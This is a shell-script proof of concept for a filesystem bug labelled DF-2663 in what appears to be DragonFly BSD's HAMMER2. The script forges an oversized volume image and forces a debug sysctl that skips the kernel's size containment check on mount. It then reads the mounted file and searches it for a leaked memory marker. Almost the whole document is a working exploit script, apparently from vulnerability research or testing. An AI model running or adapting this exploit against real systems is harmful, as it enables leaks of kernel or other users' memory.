#!/bin/sh
# DF-2663 kernel-A demo: the ondisk.c:283-291 skip, live.
# Same forged image (volu_size 320MB, data_off at 192MB|radix16, CHECK_NONE),
# same truncated backing; only the DIOCGPART result differs.
exec > /root/poc/runA.log 2>&1
set -x
uname -a | head -1
for m in /mnt/h2; do timeout 10 umount -f $m 2>/dev/null; done
dmsetup remove_all 2>/dev/null
vnconfig -u vn0 2>/dev/null
mkdir -p /mnt/h2

/root/poc/forge2663 /root/poc/base.img /root/poc/leak320.img 0xC000010 0x00 0x14000000

vnconfig -c vn0 /root/poc/leak320.img
truncate -s 201326592 /root/poc/leak320.img
/root/poc/diocgtest /dev/vn0

echo "=== A1: sysctl=0 (DIOCGPART works) -> containment check enforced"
sysctl vfs.hammer2.df2663_fail_diocgpart=0
mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
echo "A1_MOUNT_RC=$?"
dmesg | tail -2

echo "=== A2: sysctl=1 (DIOCGPART fails) -> check SKIPPED, oversized volume accepted"
sysctl vfs.hammer2.df2663_fail_diocgpart=1
mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
echo "A2_MOUNT_RC=$?"
dmesg | tail -2
ls -l /mnt/h2
/root/poc/mark
cat /mnt/h2/leakfile > /root/poc/leakA.bin
echo "A2_READ_RC=$?"
md5 /root/poc/leakA.bin /root/poc/rand64
grep -c DF2663USERHEAP /root/poc/leakA.bin || echo no-marker-this-run
umount /mnt/h2
vnconfig -u vn0
sysctl vfs.hammer2.df2663_fail_diocgpart=0
echo KERNEL_A_DEMO_DONE